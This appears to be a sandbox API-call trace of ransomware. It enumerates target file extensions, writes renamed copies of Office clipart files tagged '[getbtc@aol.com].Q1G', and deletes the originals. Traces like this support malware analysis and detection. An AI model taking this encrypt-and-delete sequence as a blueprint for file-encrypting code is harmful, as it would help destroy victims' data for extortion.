lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.074] lstrlenW (lpString=".xlsx") returned 5 [0253.074] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0253.074] lstrlenW (lpString=".ppt") returned 4 [0253.074] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 63 [0253.074] lstrlenW (lpString=".zip") returned 4 [0253.074] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.074] lstrlenW (lpString=".rar") returned 4 [0253.074] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.074] lstrlenW (lpString=".bz2") returned 4 [0253.074] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.074] lstrlenW (lpString=".7z") returned 3 [0253.074] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 63 [0253.074] lstrlenW (lpString=".dbf") returned 4 [0253.074] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 63 [0253.074] lstrlenW (lpString=".1cd") returned 4 [0253.074] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 63 [0253.074] lstrlenW (lpString=".jpg") returned 4 [0253.074] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 63 [0253.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 63 [0253.074] lstrlenW (lpString=".doc") returned 4 [0253.074] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.074] lstrlenW (lpString=".docx") returned 5 [0253.074] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0253.074] lstrlenW (lpString=".pdf") returned 4 [0253.074] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.074] lstrlenW (lpString=".xls") returned 4 [0253.074] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.074] lstrlenW (lpString=".xlsx") returned 5 [0253.074] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0253.074] lstrlenW (lpString=".ppt") returned 4 [0253.074] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 63 [0253.074] lstrlenW (lpString=".zip") returned 4 [0253.075] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.075] lstrlenW (lpString=".rar") returned 4 [0253.075] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.075] lstrlenW (lpString=".bz2") returned 4 [0253.075] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.075] lstrlenW (lpString=".7z") returned 3 [0253.075] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 63 [0253.075] lstrlenW (lpString=".dbf") returned 4 [0253.075] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 63 [0253.075] lstrlenW (lpString=".1cd") returned 4 [0253.075] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 63 [0253.075] lstrlenW (lpString=".jpg") returned 4 [0253.075] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.075] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0253.075] lstrlenW (lpString="IN00346_.WMF") returned 12 [0253.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0253.085] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=696) returned 1 [0253.086] CloseHandle (hObject=0x3c4) returned 1 [0253.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf")) returned 0x20 [0253.091] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0253.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0253.092] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.092] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0253.094] GetLastError () returned 0x0 [0253.094] ReadFile (in: hFile=0x1f4, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x2b8, lpOverlapped=0x0) returned 1 [0253.095] WriteFile (in: hFile=0x394, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x2c0, lpOverlapped=0x0) returned 1 [0253.096] ReadFile (in: hFile=0x1f4, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0253.096] WriteFile (in: hFile=0x394, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0253.096] SetEndOfFile (hFile=0x394) returned 1 [0253.096] CloseHandle (hObject=0x394) returned 1 [0253.096] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.096] SetEndOfFile (hFile=0x1f4) returned 1 [0253.098] CloseHandle (hObject=0x1f4) returned 1 [0253.098] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0253.098] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00346_.wmf")) returned 1 [0253.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 63 [0253.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 63 [0253.099] lstrlenW (lpString=".doc") returned 4 [0253.099] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.099] lstrlenW (lpString=".docx") returned 5 [0253.099] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0253.099] lstrlenW (lpString=".pdf") returned 4 [0253.099] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.099] lstrlenW (lpString=".xls") returned 4 [0253.099] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.099] lstrlenW (lpString=".xlsx") returned 5 [0253.099] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0253.099] lstrlenW (lpString=".ppt") returned 4 [0253.099] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 63 [0253.099] lstrlenW (lpString=".zip") returned 4 [0253.099] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.099] lstrlenW (lpString=".rar") returned 4 [0253.099] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.099] lstrlenW (lpString=".bz2") returned 4 [0253.100] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.100] lstrlenW (lpString=".7z") returned 3 [0253.100] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 63 [0253.100] lstrlenW (lpString=".dbf") returned 4 [0253.100] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 63 [0253.100] lstrlenW (lpString=".1cd") returned 4 [0253.100] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 63 [0253.100] lstrlenW (lpString=".jpg") returned 4 [0253.100] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 63 [0253.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 63 [0253.100] lstrlenW (lpString=".doc") returned 4 [0253.100] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.100] lstrlenW (lpString=".docx") returned 5 [0253.100] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0253.100] lstrlenW (lpString=".pdf") returned 4 [0253.100] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.100] lstrlenW (lpString=".xls") returned 4 [0253.100] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.100] lstrlenW (lpString=".xlsx") returned 5 [0253.100] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0253.100] lstrlenW (lpString=".ppt") returned 4 [0253.100] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 63 [0253.100] lstrlenW (lpString=".zip") returned 4 [0253.100] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.100] lstrlenW (lpString=".rar") returned 4 [0253.100] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.100] lstrlenW (lpString=".bz2") returned 4 [0253.100] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.100] lstrlenW (lpString=".7z") returned 3 [0253.100] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 63 [0253.101] lstrlenW (lpString=".dbf") returned 4 [0253.101] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 63 [0253.101] lstrlenW (lpString=".1cd") returned 4 [0253.101] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 63 [0253.101] lstrlenW (lpString=".jpg") returned 4 [0253.101] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.101] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0253.101] lstrlenW (lpString="IN00351_.WMF") returned 12 [0253.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0253.101] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=1928) returned 1 [0253.101] CloseHandle (hObject=0x1f4) returned 1 [0253.101] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf")) returned 0x20 [0253.101] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0253.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0253.102] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.102] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0253.102] GetLastError () returned 0x0 [0253.102] ReadFile (in: hFile=0x1f4, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x788, lpOverlapped=0x0) returned 1 [0253.104] WriteFile (in: hFile=0x394, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x790, lpOverlapped=0x0) returned 1 [0253.105] ReadFile (in: hFile=0x1f4, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0253.105] WriteFile (in: hFile=0x394, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0253.105] SetEndOfFile (hFile=0x394) returned 1 [0253.105] CloseHandle (hObject=0x394) returned 1 [0253.105] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.105] SetEndOfFile (hFile=0x1f4) returned 1 [0253.107] CloseHandle (hObject=0x1f4) returned 1 [0253.107] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0253.107] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00351_.wmf")) returned 1 [0253.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 63 [0253.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 63 [0253.108] lstrlenW (lpString=".doc") returned 4 [0253.108] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.108] lstrlenW (lpString=".docx") returned 5 [0253.108] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0253.108] lstrlenW (lpString=".pdf") returned 4 [0253.108] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.108] lstrlenW (lpString=".xls") returned 4 [0253.108] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.108] lstrlenW (lpString=".xlsx") returned 5 [0253.108] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0253.108] lstrlenW (lpString=".ppt") returned 4 [0253.108] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 63 [0253.108] lstrlenW (lpString=".zip") returned 4 [0253.108] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.108] lstrlenW (lpString=".rar") returned 4 [0253.108] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.108] lstrlenW (lpString=".bz2") returned 4 [0253.108] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.108] lstrlenW (lpString=".7z") returned 3 [0253.108] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 63 [0253.108] lstrlenW (lpString=".dbf") returned 4 [0253.108] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 63 [0253.108] lstrlenW (lpString=".1cd") returned 4 [0253.108] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 63 [0253.108] lstrlenW (lpString=".jpg") returned 4 [0253.108] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 63 [0253.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 63 [0253.108] lstrlenW (lpString=".doc") returned 4 [0253.108] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.108] lstrlenW (lpString=".docx") returned 5 [0253.108] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0253.108] lstrlenW (lpString=".pdf") returned 4 [0253.109] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.109] lstrlenW (lpString=".xls") returned 4 [0253.109] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.109] lstrlenW (lpString=".xlsx") returned 5 [0253.109] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0253.109] lstrlenW (lpString=".ppt") returned 4 [0253.109] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 63 [0253.109] lstrlenW (lpString=".zip") returned 4 [0253.109] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.109] lstrlenW (lpString=".rar") returned 4 [0253.109] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.109] lstrlenW (lpString=".bz2") returned 4 [0253.109] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0253.109] lstrlenW (lpString=".7z") returned 3 [0253.109] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0253.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 63 [0253.109] lstrlenW (lpString=".dbf") returned 4 [0253.109] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0253.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 63 [0253.109] lstrlenW (lpString=".1cd") returned 4 [0253.109] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0253.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00351_.WMF") returned 63 [0253.109] lstrlenW (lpString=".jpg") returned 4 [0253.109] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0253.109] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0253.109] lstrlenW (lpString="IN00557_.WMF") returned 12 [0253.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0253.110] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=9172) returned 1 [0253.110] CloseHandle (hObject=0x1f4) returned 1 [0253.110] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf")) returned 0x20 [0253.110] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0253.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0253.110] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.110] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.110] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0253.111] GetLastError () returned 0x0 [0253.111] ReadFile (in: hFile=0x1f4, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x23d4, lpOverlapped=0x0) returned 1 [0253.112] WriteFile (in: hFile=0x394, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x23e0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x23e0, lpOverlapped=0x0) returned 1 [0253.113] ReadFile (in: hFile=0x1f4, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0253.113] WriteFile (in: hFile=0x394, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0253.113] SetEndOfFile (hFile=0x394) returned 1 [0253.275] CloseHandle (hObject=0x394) returned 1 [0253.275] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.275] SetEndOfFile (hFile=0x1f4) returned 1 [0253.277] CloseHandle (hObject=0x1f4) returned 1 [0253.277] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0253.359] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00557_.wmf")) returned 1 [0253.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 63 [0253.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 63 [0253.360] lstrlenW (lpString=".doc") returned 4 [0253.360] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0253.360] lstrlenW (lpString=".docx") returned 5 [0253.360] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0253.360] lstrlenW (lpString=".pdf") returned 4 [0253.360] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0253.360] lstrlenW (lpString=".xls") returned 4 [0253.360] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0253.360] lstrlenW (lpString=".xlsx") returned 5 [0253.360] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0253.360] lstrlenW (lpString=".ppt") returned 4 [0253.360] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0253.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00557_.WMF") returned 63 [0253.360] lstrlenW (lpString=".zip") returned 4 [0253.360] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0253.360] lstrlenW (lpString=".rar") returned 4 [0253.360] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0253.360] lstrlenW 